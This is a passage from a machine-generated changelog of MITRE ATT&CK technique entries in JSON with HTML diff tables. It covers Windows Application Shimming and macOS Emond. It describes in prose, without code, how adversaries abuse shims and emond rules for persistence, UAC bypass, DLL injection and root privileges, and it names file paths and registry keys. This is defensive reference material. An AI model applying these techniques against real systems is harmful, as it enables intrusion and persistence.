class=\"diff_header\">></td><td nowrap=\"nowrap\">When&nbsp;a&nbsp;program&nbsp;is&nbsp;executed,&nbsp;the&nbsp;shim&nbsp;cache&nbsp;is&nbsp;referenced&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etermine&nbsp;if&nbsp;the&nbsp;program&nbsp;requires&nbsp;the&nbsp;use&nbsp;of&nbsp;the&nbsp;shim&nbsp;databas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">determine&nbsp;if&nbsp;the&nbsp;program&nbsp;requires&nbsp;the&nbsp;use&nbsp;of&nbsp;the&nbsp;shim&nbsp;databa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;(.sdb).&nbsp;If&nbsp;so,&nbsp;the&nbsp;shim&nbsp;database&nbsp;uses&nbsp;hooking&nbsp;to&nbsp;redirect&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;(.sdb).&nbsp;If&nbsp;so,&nbsp;the&nbsp;shim&nbsp;database&nbsp;uses&nbsp;hooking&nbsp;to&nbsp;redirect</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;code&nbsp;as&nbsp;necessary&nbsp;in&nbsp;order&nbsp;to&nbsp;communicate&nbsp;with&nbsp;the&nbsp;OS.&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;code&nbsp;as&nbsp;necessary&nbsp;in&nbsp;order&nbsp;to&nbsp;communicate&nbsp;with&nbsp;the&nbsp;OS.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;A&nbsp;list&nbsp;of&nbsp;all&nbsp;shims&nbsp;currently&nbsp;installed&nbsp;by&nbsp;the&nbsp;default&nbsp;Wind</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;A&nbsp;list&nbsp;of&nbsp;all&nbsp;shims&nbsp;currently&nbsp;installed&nbsp;by&nbsp;the&nbsp;default&nbsp;Win</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ows&nbsp;installer&nbsp;(sdbinst.exe)&nbsp;is&nbsp;kept&nbsp;in:&nbsp;&nbsp;*&nbsp;&lt;code&gt;%WINDIR%\\Ap</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;installer&nbsp;(sdbinst.exe)&nbsp;is&nbsp;kept&nbsp;in:&nbsp;&nbsp;*&nbsp;&lt;code&gt;%WINDIR%\\A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pPatch\\sysmain.sdb&lt;/code&gt;&nbsp;and&nbsp;*&nbsp;&lt;code&gt;hklm\\software\\microsof</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ppPatch\\sysmain.sdb&lt;/code&gt;&nbsp;and&nbsp;*&nbsp;&lt;code&gt;hklm\\software\\microso</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t\\windows&nbsp;nt\\currentversion\\appcompatflags\\installedsdb&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft\\windows&nbsp;nt\\currentversion\\appcompatflags\\installedsdb&lt;/co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;&nbsp;Custom&nbsp;databases&nbsp;are&nbsp;stored&nbsp;in:&nbsp;&nbsp;*&nbsp;&lt;code&gt;%WINDIR%\\AppPat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;&nbsp;&nbsp;Custom&nbsp;databases&nbsp;are&nbsp;stored&nbsp;in:&nbsp;&nbsp;*&nbsp;&lt;code&gt;%WINDIR%\\AppPa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch\\custom&nbsp;&amp;&nbsp;%WINDIR%\\AppPatch\\AppPatch64\\Custom&lt;/code&gt;&nbsp;and&nbsp;*</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tch\\custom&nbsp;&amp;&nbsp;%WINDIR%\\AppPatch\\AppPatch64\\Custom&lt;/code&gt;&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;hklm\\software\\microsoft\\windows&nbsp;nt\\currentversion\\app</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">*&nbsp;&lt;code&gt;hklm\\software\\microsoft\\windows&nbsp;nt\\currentversion\\ap</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compatflags\\custom&lt;/code&gt;&nbsp;&nbsp;To&nbsp;keep&nbsp;shims&nbsp;secure,&nbsp;Windows&nbsp;des</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pcompatflags\\custom&lt;/code&gt;&nbsp;&nbsp;To&nbsp;keep&nbsp;shims&nbsp;secure,&nbsp;Windows&nbsp;de</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igned&nbsp;them&nbsp;to&nbsp;run&nbsp;in&nbsp;user&nbsp;mode&nbsp;so&nbsp;they&nbsp;cannot&nbsp;modify&nbsp;the&nbsp;ker</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">signed&nbsp;them&nbsp;to&nbsp;run&nbsp;in&nbsp;user&nbsp;mode&nbsp;so&nbsp;they&nbsp;cannot&nbsp;modify&nbsp;the&nbsp;ke</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nel&nbsp;and&nbsp;you&nbsp;must&nbsp;have&nbsp;administrator&nbsp;privileges&nbsp;to&nbsp;install&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rnel&nbsp;and&nbsp;you&nbsp;must&nbsp;have&nbsp;administrator&nbsp;privileges&nbsp;to&nbsp;install&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shim.&nbsp;However,&nbsp;certain&nbsp;shims&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;[Bypass&nbsp;User&nbsp;Acc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;shim.&nbsp;However,&nbsp;certain&nbsp;shims&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;[Bypass&nbsp;User&nbsp;Ac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ount&nbsp;Control](https://attack.mitre.org/techniques/T1548/002)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">count&nbsp;Control](https://attack.mitre.org/techniques/T1548/002</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;(UAC&nbsp;and&nbsp;RedirectEXE),&nbsp;inject&nbsp;DLLs&nbsp;into&nbsp;processes&nbsp;(InjectDL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;(UAC&nbsp;and&nbsp;RedirectEXE),&nbsp;inject&nbsp;DLLs&nbsp;into&nbsp;processes&nbsp;(InjectD</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">L),&nbsp;disable&nbsp;Data&nbsp;Execution&nbsp;Prevention&nbsp;(DisableNX)&nbsp;and&nbsp;Struct</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LL),&nbsp;disable&nbsp;Data&nbsp;Execution&nbsp;Prevention&nbsp;(DisableNX)&nbsp;and&nbsp;Struc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure&nbsp;Exception&nbsp;Handling&nbsp;(DisableSEH),&nbsp;and&nbsp;intercept&nbsp;memory&nbsp;ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ture&nbsp;Exception&nbsp;Handling&nbsp;(DisableSEH),&nbsp;and&nbsp;intercept&nbsp;memory&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dresses&nbsp;(GetProcAddress).&nbsp;&nbsp;Utilizing&nbsp;these&nbsp;shims&nbsp;may&nbsp;allow&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ddresses&nbsp;(GetProcAddress).&nbsp;&nbsp;Utilizing&nbsp;these&nbsp;shims&nbsp;may&nbsp;allow&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;to&nbsp;perform&nbsp;several&nbsp;malicious&nbsp;acts&nbsp;such&nbsp;as&nbsp;elevat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;adversary&nbsp;to&nbsp;perform&nbsp;several&nbsp;malicious&nbsp;acts&nbsp;such&nbsp;as&nbsp;eleva</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;privileges,&nbsp;install&nbsp;backdoors,&nbsp;disable&nbsp;defenses&nbsp;like&nbsp;Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;privileges,&nbsp;install&nbsp;backdoors,&nbsp;disable&nbsp;defenses&nbsp;like&nbsp;Wind</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;Defender,&nbsp;etc.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;FireEye&nbsp;Application&nbsp;Shimming)&nbsp;S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ows&nbsp;Defender,&nbsp;etc.(Citation:&nbsp;FireEye&nbsp;Application&nbsp;Shimming)&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hims&nbsp;can&nbsp;also&nbsp;be&nbsp;abused&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;by&nbsp;continuo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hims&nbsp;can&nbsp;also&nbsp;be&nbsp;abused&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;by&nbsp;continuo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">usly&nbsp;being&nbsp;invoked&nbsp;by&nbsp;affected&nbsp;programs.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">usly&nbsp;being&nbsp;invoked&nbsp;by&nbsp;affected&nbsp;programs.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1051: Update Software",
                            "M1052: User Account Control"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0017: Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 15:15:13.426000+00:00",
                    "modified": "2026-11-03 21:36:45.423000+00:00",
                    "name": "Emond",
                    "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1546/014",
                            "external_id": "T1546.014"
                        },
                        {
                            "source_name": "magnusviri emond Apr 2016",
                            "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
                            "url": "http://www.magnusviri.com/Mac/what-is-emond.html"
                        },
                        {
                            "source_name": "xorrior emond Jan 2018",
                            "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
                            "url": "https://www.xorrior.com/emond-persistence/"
                        },
                        {
                            "source_name": "sentinelone macos persist Jun 2019",
                            "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                            "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Ivan Sinyakov"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "macOS"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:36:45.423000+00:00\", \"old_value\": \"2025-10-24 17:49:08.766000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\\n\\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\\n\\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\", \"old_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\\n\\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\\n\\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\\n \\n-Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\\n+Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to45__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to45__0\"><a href=\"#difflib_chg_to45__top\">t</a></td><td class=\"diff_header\" id=\"from45_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gain&nbsp;persistence&nbsp;and&nbsp;elevate&nbsp;privileges&nbsp;by&nbsp;e</td><td class=\"diff_next\"><a href=\"#difflib_chg_to45__top\">t</a></td><td class=\"diff_header\" id=\"to45_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gain&nbsp;persistence&nbsp;and&nbsp;elevate&nbsp;privileges&nbsp;by&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecuting&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;the&nbsp;Event&nbsp;Monitor&nbsp;Da</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecuting&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;the&nbsp;Event&nbsp;Monitor&nbsp;Da</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emon&nbsp;(emond).&nbsp;Emond&nbsp;is&nbsp;a&nbsp;[Launch&nbsp;Daemon](https://attack.mitr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emon&nbsp;(emond).&nbsp;Emond&nbsp;is&nbsp;a&nbsp;[Launch&nbsp;Daemon](https://attack.mitr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1543/004)&nbsp;that&nbsp;accepts&nbsp;events&nbsp;from&nbsp;various</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1543/004)&nbsp;that&nbsp;accepts&nbsp;events&nbsp;from&nbsp;various</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;services,&nbsp;runs&nbsp;them&nbsp;through&nbsp;a&nbsp;simple&nbsp;rules&nbsp;engine,&nbsp;and&nbsp;take</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;services,&nbsp;runs&nbsp;them&nbsp;through&nbsp;a&nbsp;simple&nbsp;rules&nbsp;engine,&nbsp;and&nbsp;take</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;action.&nbsp;The&nbsp;emond&nbsp;binary&nbsp;at&nbsp;&lt;code&gt;/sbin/emond&lt;/code&gt;&nbsp;will&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;action.&nbsp;The&nbsp;emond&nbsp;binary&nbsp;at&nbsp;&lt;code&gt;/sbin/emond&lt;/code&gt;&nbsp;will&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">load&nbsp;any&nbsp;rules&nbsp;from&nbsp;the&nbsp;&lt;code&gt;/etc/emond.d/rules/&lt;/code&gt;&nbsp;dir</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">load&nbsp;any&nbsp;rules&nbsp;from&nbsp;the&nbsp;&lt;code&gt;/etc/emond.d/rules/&lt;/code&gt;&nbsp;dir</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ectory&nbsp;and&nbsp;take&nbsp;action&nbsp;once&nbsp;an&nbsp;explicitly&nbsp;defined&nbsp;event&nbsp;take</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ectory&nbsp;and&nbsp;take&nbsp;action&nbsp;once&nbsp;an&nbsp;explicitly&nbsp;defined&nbsp;event&nbsp;take</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;place.&nbsp;&nbsp;The&nbsp;rule&nbsp;files&nbsp;are&nbsp;in&nbsp;the&nbsp;plist&nbsp;format&nbsp;and&nbsp;define&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;place.&nbsp;&nbsp;The&nbsp;rule&nbsp;files&nbsp;are&nbsp;in&nbsp;the&nbsp;plist&nbsp;format&nbsp;and&nbsp;define&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;name,&nbsp;event&nbsp;type,&nbsp;and&nbsp;action&nbsp;to&nbsp;take.&nbsp;Some&nbsp;examples&nbsp;of&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;name,&nbsp;event&nbsp;type,&nbsp;and&nbsp;action&nbsp;to&nbsp;take.&nbsp;Some&nbsp;examples&nbsp;of&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vent&nbsp;types&nbsp;include&nbsp;system&nbsp;startup&nbsp;and&nbsp;user&nbsp;authentication.&nbsp;E</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vent&nbsp;types&nbsp;include&nbsp;system&nbsp;startup&nbsp;and&nbsp;user&nbsp;authentication.&nbsp;E</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xamples&nbsp;of&nbsp;actions&nbsp;are&nbsp;to&nbsp;run&nbsp;a&nbsp;system&nbsp;command&nbsp;or&nbsp;send&nbsp;an&nbsp;em</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xamples&nbsp;of&nbsp;actions&nbsp;are&nbsp;to&nbsp;run&nbsp;a&nbsp;system&nbsp;command&nbsp;or&nbsp;send&nbsp;an&nbsp;em</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ail.&nbsp;The&nbsp;emond&nbsp;service&nbsp;will&nbsp;not&nbsp;launch&nbsp;if&nbsp;there&nbsp;is&nbsp;no&nbsp;file&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ail.&nbsp;The&nbsp;emond&nbsp;service&nbsp;will&nbsp;not&nbsp;launch&nbsp;if&nbsp;there&nbsp;is&nbsp;no&nbsp;file&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">resent&nbsp;in&nbsp;the&nbsp;QueueDirectories&nbsp;path&nbsp;&lt;code&gt;/private/var/db/em</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">resent&nbsp;in&nbsp;the&nbsp;QueueDirectories&nbsp;path&nbsp;&lt;code&gt;/private/var/db/em</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ondClients&lt;/code&gt;,&nbsp;specified&nbsp;in&nbsp;the&nbsp;[Launch&nbsp;Daemon](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ondClients&lt;/code&gt;,&nbsp;specified&nbsp;in&nbsp;the&nbsp;[Launch&nbsp;Daemon](https://</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1543/004)&nbsp;configuration&nbsp;file&nbsp;at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1543/004)&nbsp;configuration&nbsp;file&nbsp;at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;/System/Library/LaunchDaemons/com.apple.emond.plist&lt;/c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;/System/Library/LaunchDaemons/com.apple.emond.plist&lt;/c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;.(Citation:&nbsp;xorrior&nbsp;emond&nbsp;Jan&nbsp;2018)(Citation:&nbsp;magnusviri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;.(Citation:&nbsp;xorrior&nbsp;emond&nbsp;Jan&nbsp;2018)(Citation:&nbsp;magnusviri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;emond&nbsp;Apr&nbsp;2016)(Citation:&nbsp;sentinelone&nbsp;macos&nbsp;persist&nbsp;Jun&nbsp;201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;emond&nbsp;Apr&nbsp;2016)(Citation:&nbsp;sentinelone&nbsp;macos&nbsp;persist&nbsp;Jun&nbsp;201</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;this&nbsp;service&nbsp;by&nbsp;writing&nbsp;a&nbsp;rule&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;this&nbsp;service&nbsp;by&nbsp;writing&nbsp;a&nbsp;rule&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">execute&nbsp;commands&nbsp;when&nbsp;a&nbsp;defined&nbsp;event&nbsp;occurs,&nbsp;such&nbsp;as&nbsp;system</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 